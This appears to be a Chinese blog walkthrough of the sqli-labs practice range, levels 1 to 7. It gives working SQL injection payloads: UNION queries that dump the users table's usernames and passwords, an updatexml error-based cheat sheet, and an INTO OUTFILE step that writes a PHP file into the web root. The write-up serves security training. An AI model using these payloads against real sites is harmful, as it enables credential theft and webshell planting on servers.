sqli-labs靶场通关

less-01 字符型注入

根据php文件可以看出是进行单引号逃脱

加上注释符,有--+ 或者#

然后我们可以进行字段数查找

使用order by进行查询最大字段数,当输入4的时候发现报错证明最大值为3

接下来我们可以使用联合查询union select 

发现与之前没有任何变化,此时我们可以观察代码

发现他只取第一行,所以我们可以让第一个表查询为空,同时可以查询数据库中的一些数据名

知道当前的用户权限和库名以后我们就可以进行注入管理员账号密码,想要知道管理员账号密码我们还得需要知道数据库的表名和列名

我们可以通过mysql语句进行查询刚才security库中的所有表名,发现users这个表应该会存在我们需要的账号密码此时我们可以通过该表继续查询

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

我们发现user表中的username和password就是我们想要拿到的管理员账号密码所以通过以下语句进行查找user表中的列名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

最后我们可以通过查询列名获取账号密码

?id=-1' union select 1,2,group_concat(username ,0x2b , password) from users--+

Less02

我们正常输入值的时候他是正常回显

我们可以尝试输入 ?id=1'

发现报错,所以可以知道这一关是数字型注入

后续操作如第一关一样

Less03

先正常输入?id=1进行取值判断是否进行回显,然后再输入?id=1'发现报错,通过报错我们可以发现是')注入;后续与上一致

Less04

可以判断字符注入为'')

后续与上一致

Less-05 报错注入

less-05

我们正常取值的时候发现进入界面 you are in...

然后我们输入?id=1'发现是‘闭合

此时我们可以尝试报错注入

?id=1%27and(select%20updatexml(1,concat(0x7e,(select%20database())),0x7e))--+

此时方法还是和之前一致,接着进入库中查询表然后查询列找到用户名和密码

?id=1%27and(select%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x2b,password)from%20users)),0x7e))--+

但是我们发现账号和密码因为长度不够无法进行完全读取,因为updatexml函数只能进行到32位,此时我们可以运用substr进行截取

?id=1%27and(select%20updatexml(1,concat(0x7e,substr((select%20group_concat(username,0x2b,password)from%20users),32,64)),0x7e))--+

每次以32进行截取即可获取所有账号密码。

报错注入----函数updatexml

函数原型:updatexml(xml_document,xpath_string,new_value)
正常语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称 

第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据 作用:改变文档中符合条件的节点的值

payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

爆数据库名:id=and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:id=and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:id=and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:id=and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

substr函数

爆数据长度不够需要用到substr函数,默认截取1,32

'and(select updatexml(1,concat(0x7e,substr((select group_concat(COLUMN_NAME)from TABLE_NAME),32,64)),0x7e))

less06

经过尝试可以发现是"闭合

接下来方法与第五关一样

less07

正常取值输入发现回显‘use outfile”

我们可以利用Mysql上传webshell,利用outfile函数但有以下三个满足点

  1. mysql用户权限必须为root
  2. 知道网站的物理路径
  3. secure参数为空不能有值 该文件只能导出到/tmp/文件下,入侵也无法改变,该文件在my.ini下

所以注入如下

?id=1%27))%20union%20select%201,2,"<?php%20phpinfo();"%20into%20outfile%20"C:/phpStudy_64/phpstudy_pro/WWW/sqllabs/Less-7/password.php"--+

最后账号和密码会打印在password.php文件中

  • 17
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值